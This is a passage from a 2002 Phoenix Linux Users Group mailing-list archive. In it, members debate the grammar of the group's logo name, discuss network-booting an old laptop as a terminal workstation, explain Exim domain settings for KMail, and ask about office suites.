am the only Linux user." > > "Users'" implies "many." "I am one of many Linux users." > > "User" and "Users" act as noun adjuncts; that is, nouns acting as adjectives > > telling "what kind of" group just as in "school house" , "school" tells "what > > kind of house. > > > > My choice would be "Users" as it implies multiple users, and lacks the > > clutter of the apostrophe, which, in a logo, is really unnecessary. > > > > -- > > Bob Eaton > > > > Curiosity didn't kill the cat: it was lack of information. > > > > -- > > Bob Eaton > > > > Curiosity didn't kill the cat: it was lack of information. > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ------------------------------------------------------------------- > "We need commonsense judges who understand that our rights were > derived from God," - President George W. Bush, 27 June 2002 > http://www.nandotimes.com/politics/story/448758p-3591873c.html > ------------------------------------------------------------------- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 20:27:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Sun, 30 Jun 2002 13:27:58 -0700 Subject: Linux Terminal Server References: <000801c22044$0ae21990$6400a8c0@amd1000> Message-ID: <3D1F69CE.33BD49B6@earthlink.net> I used my son's old Sony Viao and it works well. Just haven't had time to ensure I can use everything like I want. The old case still has the CDROM and floppy. Don't know about getting to them yet. > Charlie Bullen wrote: > > Is there any reason why a non stipped down computer wouldn't work as a workstation. I don't have an extra old compter sitting around. Could I use the boot from floppy option and then leave the nomral operatining system intact but unused? > > My understanding is that once the boot over the network occurs, all disk activity is then on the server. If this can be done, with no impact on the operating system installed on the workstation, my employer will let me proceed. > > I have been having some real good results using my linuxbox at work and 1 of my co-workers is real interested in using linux for for 2 reasons. First the greater lack of virus vulnerablility and second, the virtual desktops, which allows each of our general types of work to be isolatedin its own virtual desktop. Thisis a real advantage as each catagory sometimes results in as many as 4 browser windows and 1 or 2 other applications running. All done on one desktop gets unmanageable real fast. > > Regards, > > > Charlie From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 22:54:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 30 Jun 2002 15:54:16 -0700 (MST) Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: <200206301825.g5UIP0MY010144@mail.infinet-is.com> Message-ID: Am 30. Jun, 2002 schwätzte Robert N. Eaton so: > My choice would be "Users" as it implies multiple users, and lacks the > clutter of the apostrophe, which, in a logo, is really unnecessary. We might like "PLU'G", though :). PFUG, Phoenix Free Unix Group, is still an option. That solves issue by getting rid of it. We'd have a new prob then. Should it be PFUG or PF*G, Phoenix Free *NIX Group? ciao, der.hans -- # https://www.LuftHans.com/ # "The purpose of IT is to seamlessly and transparently provide the other # 9/10's of the [iceberg] for people who need to work with chunks # of floating ice." -- Strata Rose Chalup From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 22:57:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 30 Jun 2002 15:57:24 -0700 (MST) Subject: Configuring Exim to work with K-mail for multiple users In-Reply-To: <3D1F31D1.4C0B3791@cox.net> Message-ID: Am 30. Jun, 2002 schwätzte Lee Einer so: > I am trying to get Kmail up and running, and am having difficulties > getting exim configured correctly. What should the Qualify domain and > Local domains be set to in my exim.conf file? qualify_domains should be the hostname you want mail to come from. It should either be the local hostname or your domain name, e.g. either myhost.LuftHans.com or LuftHans.com for me. local_domains are those domains for which the final destination for mail is the machine you're configuring. Relays are configged elsewhere. ciao, der.hans -- # https://www.LuftHans.com/ # C'est la Net - der.hans From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 22:45:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 30 Jun 2002 15:45:11 -0700 Subject: Grammar, Was: PLUG Logo Update! References: Message-ID: <3D1F89F7.2A543FA@leml.asu.edu> "der.hans" wrote: > > Am 30. Jun, 2002 schwätzte Robert N. Eaton so: > > > My choice would be "Users" as it implies multiple users, and lacks the > > clutter of the apostrophe, which, in a logo, is really unnecessary. > > We might like "PLU'G", though :). > > PFUG, Phoenix Free Unix Group, is still an option. That solves issue by > getting rid of it. We'd have a new prob then. Should it be PFUG or PF*G, > Phoenix Free *NIX Group? they would be the perfect group to host *NIX FAQ's and FUQ's (frequently unanswered questions). EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 23:41:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Fleming) Date: 30 Jun 2002 16:41:57 -0700 Subject: Grammar, Was: PLUG Logo Update Message-ID: <1025480523.3342.11.camel@localhost.localdomain> It's interesting that most everyone infers a possessive in the phrase (i.e., a group belonging to one or more users). Another way to see it would be simply as a 'group of users, in which case "Phoenix Linux Users Group" is exactly right (i.e., a group of Linux users from Phoenix). And doesn't it really all depend on what the meaning of "is," is? ($0.02 from a recent list subscriber) D.Fleming azdf@cox.net From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 18:49:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Sun, 30 Jun 2002 14:49:42 -0400 (EDT) Subject: PLUG Logo - serving suggestion In-Reply-To: <3D1E066A.5D0E0DB8@leml.asu.edu> Message-ID: On Sat, 29 Jun 2002, John (EBo) David wrote: > > Didn't I see a movie preview where those prehistoric creatures return to life > > and come swooping down on Redmond breathing fire? > > naaa... That would be JurasicTux. Penguinelli is the southwestern > opensorce hunchback coder... no one remembers when Tux first showed up, > but he's been coding ever since ;-) I think you mean "southwestern opensource bellringer coder". http://makeashorterlink.com/?S19B35A21 :) ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 22:59:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: 30 Jun 2002 15:59:37 -0700 Subject: OpenOffice VS StarOffice VS MSOffice Message-ID: <1025477979.2533.4.camel@vdsl-130-13-154-173.phnx.uswest.net> Hey all, Just seeing what the consensus is on office suites. I have access to all three and wanted to see what all the sages out there thought. Ray malbojia@qwest.net